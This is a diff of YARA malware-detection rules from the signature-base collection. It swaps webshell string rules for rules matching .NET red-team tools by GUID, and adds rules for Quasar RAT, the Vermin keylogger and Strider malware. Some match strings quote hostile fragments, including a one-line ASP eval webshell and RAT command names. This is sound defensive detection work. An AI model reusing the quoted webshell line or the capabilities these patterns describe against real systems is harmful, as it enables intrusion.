-		hash = "90b86a9c63e2cd346fe07cea23fbfc56"
-		logic_hash = "a0fcc43a80ac4d059aea36da8b4b5a81c99a54f7c66c521697805ae890d66fe8"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "4a88532b-e2bc-5ce9-828d-6ef62d91f6b9"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/nettitude/MalSCCM"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5432-L5446"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "429da06c863b73263f6de7acba0e8479cc2ad45af45d85ce846fce6f7e0b3b64"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<br />Input&nbsp;URL:&nbsp;&lt;input&nbsp;name=\\\"uploadurl\\\"&nbsp;type=\\\"text\\\"&"
+		$typelibguid0lo = "5439cecd-3bb3-4807-b33f-e4c299b71ca2" ascii wide
+		$typelibguid0up = "5439CECD-3BB3-4807-B33F-E4C299B71CA2" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Phpspy_2005_Full
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Spoolsample : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file phpspy_2005_full.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8704-L8715"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d1c69bb152645438440e6c903bac16b2"
-		logic_hash = "8561161726a49374a9bc3389fef593e5d68dc437552e06736a235412183bef45"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "38346575-cf5b-59bf-b2b2-21aacf05b8a4"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/leechristensen/SpoolSample"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5448-L5462"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a57e5675d8e24a7288d070f8e764c5253797bf7ed3e4b1a3fba0a6e1777317e9"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "echo \"  <td align=\\\"center\\\" nowrap valign=\\\"top\\\"><a href=\\\"?downfile=\".urlenco"
+		$typelibguid0lo = "640c36b4-f417-4d85-b031-83a9d23c140b" ascii wide
+		$typelibguid0up = "640C36B4-F417-4D85-B031-83A9D23C140B" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Zehir4_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpoxidresolver : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file zehir4.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7de89d22-0230-508a-ac50-f61730ad9f4e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8716-L8727"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5b496a61363d304532bcf52ee21f5d55"
-		logic_hash = "bb10f2e28bb375366b9140c06bb242cd13fdb69e67ce72ecae0e50270566f116"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e8a957bc-3319-51c2-8289-01bd0b8a632a"
+		date = "2023-03-22"
+		modified = "2023-04-06"
+		reference = "https://github.com/S3cur3Th1sSh1t/SharpOxidResolver"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5464-L5478"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "809ee7d9063700dbea2d33d01e4fb6b58ca9360fb6705f05eadb78fa0a2b2fb2"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "\"Program Files\\Serv-u\\Serv"
+		$typelibguid0lo = "ce59f8ff-0ecf-41e9-a1fd-1776ca0b703d" ascii wide
+		$typelibguid0up = "CE59F8FF-0ECF-41E9-A1FD-1776CA0B703D" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_FSO_S_Indexer_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpcat : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file indexer.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8ef79a60-fa8c-51ee-bd87-f5467a66099b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8728-L8739"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "135fc50f85228691b401848caef3be9e"
-		logic_hash = "8cf4c8fb1e985adbed2cf20578fcfc14240f6d9fe6062bbe3fe2f895f58bc172"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "450d13c6-93ae-5bf5-bdde-d874ab6c0cd5"
+		date = "2023-11-30"
+		modified = "2024-04-24"
+		reference = "https://github.com/theart42/Sharpcat"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5480-L5492"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "143757610d66c5d7bbba96ef810d518f38ad8ea0e924be23aa59e8c514154fe0"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "<td>Nerden :<td><input type=\"text\" name=\"nerden\" size=25 value=index.html></td>"
+		$typelibguid0 = "d16fd95f-23ce-4f8d-8763-b9f5a9cdd0c3" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Hytop_Devpack_2005
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpnamedpipepth : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file 2005.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "963effd9-f31d-5238-9419-b5dd11822e56"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8740-L8753"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
-		logic_hash = "b312cddff4c5292cc51acc39448c815fede3c9356d7d225c3a08c7124712b3f8"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "561b95a5-f32b-5fe8-9e67-3f702306be93"
+		date = "2023-11-30"
+		modified = "2024-04-24"
+		reference = "https://github.com/S3cur3Th1sSh1t/SharpNamedPipePTH"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5494-L5506"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "437a8a41073174e86f642717537bdeeb5343cc8683c95477a52d6801a46aac21"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\")"
-		$s8 = "scrollbar-darkshadow-color:#9C9CD3;"
-		$s9 = "scrollbar-face-color:#E4E4F3;"
+		$typelibguid0 = "344ee55a-4e32-46f2-a003-69ad52b55945" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Root_040_Zip_Folder_Deploy
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharptokenfinder : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file deploy.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7e592ab2-8a53-59d5-a45d-971398586479"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8754-L8767"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2c9f9c58999256c73a5ebdb10a9be269"
-		logic_hash = "9852b105e6a28f5500fc6739b196dd14b9b0b69b1077be4063735380b0699abb"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "60fd06be-041b-5fa8-8f25-41b26605ea90"
+		date = "2023-12-06"
+		modified = "2024-04-24"
+		reference = "https://github.com/HuskyHacks/SharpTokenFinder"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5508-L5520"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f9681a13b094b6e05cab69f0684d52e3bb3b465cfcdb1c83a890c9c8fda79169"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s5 = "halon synscan 127.0.0.1 1-65536"
-		$s8 = "Obviously you replace the ip address with that of the target."
+		$typelibguid0 = "572804d3-dbd6-450a-be64-2e3cb54fd173" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_By063Cli
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharprodc : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file by063cli.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9b4a4842-e084-53e8-90fb-603ba034b7df"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8768-L8780"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "49ce26eb97fd13b6d92a5e5d169db859"
-		logic_hash = "c89159b73232bc8fd7430b3330009f4b3eb25b9511515bc9b4cd433f7a67f30e"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "60779e7a-048f-5095-b853-fd90c4f7449e"
+		date = "2023-12-06"
+		modified = "2024-04-24"
+		reference = "https://github.com/wh0amitz/SharpRODC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5522-L5534"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3d24237804509d2bf241f7310843591608a9d7e8abb38eb324aa5909995ebfaf"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "#popmsghello,are you all right?"
-		$s4 = "connect failed,check your network and remote ip."
+		$typelibguid0 = "d305f8a3-019a-4cdf-909c-069d5b483613" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Icyfox007V1_10_Rar_Folder_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Gmsapasswordreader : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file asp.asp"
-		author = "Florian Roth (Nextron Systems)"
-		id = "52150b6a-2f60-5e6b-86d1-61bc0aeb4fa8"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8781-L8792"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2c412400b146b7b98d6e7755f7159bb9"
-		logic_hash = "3cc36668f0a2a6807b59c7da0b6e504b519a616ab63fb9f606eba5dc4a9e7e2f"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "dc74bfce-90a1-53bd-bfe4-cb7c9c75da53"
+		date = "2023-12-06"
+		modified = "2024-04-24"
+		reference = "https://github.com/rvazarkar/GMSAPasswordReader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5536-L5548"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8db260b15b8b8158e5f66268b9086b456386af017e4351025ea27b9f994e5bf5"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>"
+		$typelibguid0 = "c8112750-972d-4efa-a75b-da9b8a4533c7" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Byshell063_Ntboot_2
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpsharefinder : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file ntboot.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9bcb401d-619b-54b8-be51-f0e3b6eb096c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8794-L8805"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "cb9eb5a6ff327f4d6c46aacbbe9dda9d"
-		logic_hash = "25df29000bb410c0ba1fec78920124f6eedbc2585541536239522d2b116270ab"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "bb485347-ea9b-5f26-99ad-bedc38bfecd5"
+		date = "2023-12-19"
+		modified = "2024-04-24"
+		reference = "https://github.com/mvelazc0/SharpShareFinder"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5550-L5562"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "72b2c6c9f4da68ba8e9656ff2d9da962f9d791f031c1d7fb74d74ddd17ba49de"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)"
+		$typelibguid0 = "64bfeb18-b65c-4a83-bde0-b54363b09b71" ascii nocase wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_U_Uay
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Postdump : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file uay.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6a670e19-6e53-5b13-aabf-fe74d48b9113"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8806-L8818"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "abbc7b31a24475e4c5d82fc4c2b8c7c4"
-		logic_hash = "45e8938ce34fd5a253cee3867aa8c4429c6bf3fcc91098ed9df3f95656bc5f8f"
+		description = "Detects .NET red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "7f33e76c-0227-5c23-b821-c5c9753e2384"
+		date = "2023-12-19"
+		modified = "2024-04-24"
+		reference = "https://github.com/YOLOP0wn/POSTDump"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L5565-L5577"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e5bbef2fe7122855d7e5300ebf78631149e60b08793a4a21a4ac8b337f4bee60"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "exec \"c:\\WINDOWS\\System32\\freecell.exe"
-		$s9 = "SYSTEM\\CurrentControlSet\\Services\\uay.sys\\Security"
+		$typelibguid0 = "e54195f0-060c-4b24-98f2-ad9fb5351045" ascii nocase wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Bin_Wuaus
+rule SIGNATURE_BASE_Quasar_RAT_Jan18_1 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file wuaus.dll"
+		description = "Detects Quasar RAT"
 		author = "Florian Roth (Nextron Systems)"
-		id = "50b5323b-d8d1-5350-bf93-8dde3d11fd87"
-		date = "2023-12-05"
+		id = "52408897-bfec-5726-9d01-6ff982d50c28"
+		date = "2018-01-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8819-L8835"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "46a365992bec7377b48a2263c49e4e7d"
-		logic_hash = "0509ca39662430c3ababf65ca3a6e9af95250163980829d90eddf5341168c864"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_quasar_vermin.yar#L11-L33"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4b2c8695a053a714e97f3e108f0f359d9e49151297a21e460b3201d8f4e72a89"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
+		hash2 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
 
 	strings:
-		$s1 = "9(90989@9V9^9f9n9v9"
-		$s2 = ":(:,:0:4:8:C:H:N:T:Y:_:e:o:y:"
-		$s3 = ";(=@=G=O=T=X=\\="
-		$s4 = "TCP Send Error!!"
-		$s5 = "1\"1;1X1^1e1m1w1~1"
-		$s8 = "=$=)=/=<=Y=_=j=p=z="
+		$a1 = "ping -n 20 localhost > nul" fullword wide
+		$s2 = "HandleDownloadAndExecuteCommand" fullword ascii
+		$s3 = "DownloadAndExecute" fullword ascii
+		$s4 = "UploadAndExecute" fullword ascii
+		$s5 = "ShellCommandResponse" fullword ascii
+		$s6 = "Select * From Win32_ComputerSystem" fullword wide
+		$s7 = "Process could not be started!" fullword wide
+		$s8 = ".Core.RemoteShell" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <600KB and $a1 and 3 of them
 }
-rule SIGNATURE_BASE_Pwreveal
+rule SIGNATURE_BASE_Vermin_Keylogger_Jan18_1 : FILE
 {
 	meta:
-		description = "Webshells Auto-generated - file pwreveal.exe"
+		description = "Detects Vermin Keylogger"
 		author = "Florian Roth (Nextron Systems)"
-		id = "3d79dd13-9012-56e2-b42a-e6b3e204c601"
-		date = "2023-12-05"
+		id = "52192ea1-bb3d-52da-ba18-0645262745e2"
+		date = "2018-01-29"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8836-L8850"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b4e8447826a45b76ca45ba151a97ad50"
-		logic_hash = "01c9582897c65e608d49a151fe9ade97b9a031d7d10f5fd4b4d0c2a3fd83e7b6"
+		reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_quasar_vermin.yar#L35-L71"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a8afe017f32400e1e498d23746f5cb59c3c67f6abefe9b2e36bec81ca82ecfed"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d"
+		hash2 = "e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7"
+		hash3 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
+		hash4 = "4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da"
+		hash5 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
+		hash6 = "2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef"
 
 	strings:
-		$s0 = "*<Blank - no es"
-		$s3 = "JDiamondCS "
-		$s8 = "sword set> [Leith=0 bytes]"
-		$s9 = "ION\\System\\Floating-"
+		$x1 = "_keyloggerTaskDescription" ascii
+		$x2 = "_keyloggerTaskAuthor" ascii
+		$x3 = "GetKeyloggerLogsResponse" fullword ascii
+		$x4 = "GetKeyloggerLogs" fullword ascii
+		$x5 = "ExecuteUninstallKeyLoggerTask" fullword ascii
+		$x6 = "ExecuteInstallKeyLoggerTask" fullword ascii
+		$x7 = ":\\Projects\\Vermin\\KeyboardHookLib\\" ascii
+		$x8 = ":\\Projects\\Vermin\\CryptoLib\\" ascii
+		$s1 = "<RunHidden>k__BackingField" fullword ascii
+		$s2 = "set_SystemInfos" fullword ascii
+		$s3 = "set_RunHidden" fullword ascii
+		$s4 = "set_RemotePath" fullword ascii
+		$s5 = "ExecuteShellCommandTask" fullword ascii
+		$s6 = "Client.exe" fullword wide
+		$s7 = "xClient.Core.ReverseProxy.Packets" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <800KB and (1 of ($x*) or 3 of them )
 }
-rule SIGNATURE_BASE_Shelltools_G0T_Root_Xwhois
+rule SIGNATURE_BASE_Remsec_Executable_Blob_32
 {
 	meta:
-		description = "Webshells Auto-generated - file xwhois.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8f3b3bb2-5884-584a-8220-b6edbfebc8a3"
-		date = "2023-12-05"
+		description = "Detects malware from Symantec's Strider APT report"
+		author = "Symantec"
+		id = "d7a7e57a-b117-5da8-a7a2-4c6351bd9072"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8851-L8865"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0bc98bd576c80d921a3460f8be8816b4"
-		logic_hash = "75ee56dae5fde75ae4dc4bba835a96016781b747f3cff0dc6d52e665463a6070"
-		score = 75
+		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_strider.yara#L8-L20"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1cfc43ab15b3d220a636c150315c30f5654e53fad67d20534ce4d5c00295e35e"
+		score = 80
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "rting! "
-		$s2 = "aTypCog("
-		$s5 = "Diamond"
-		$s6 = "r)r=rQreryr"
+		$code = { 31 06 83 C6 04 D1 E8 73 05 35 01 00 00 D0 E2 F0 }
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Vanquish_2
+rule SIGNATURE_BASE_Remsec_Executable_Blob_64
 {
 	meta:
-		description = "Webshells Auto-generated - file vanquish.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6736cad6-cba1-5b6f-ae05-e2b980280479"
-		date = "2023-12-05"
+		description = "Detects malware from Symantec's Strider APT report"
+		author = "Symantec"
+		id = "22345f40-3dae-5d5b-acc6-c67394475636"
+		date = "2016-08-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L8866-L8877"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2dcb9055785a2ee01567f52b5a62b071"
-		logic_hash = "428dc4e6d8bcc888e6f99f69ee9f211aa029d3486b99b9716d09709dc391d9a2"
-		score = 75
+		reference = "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets"
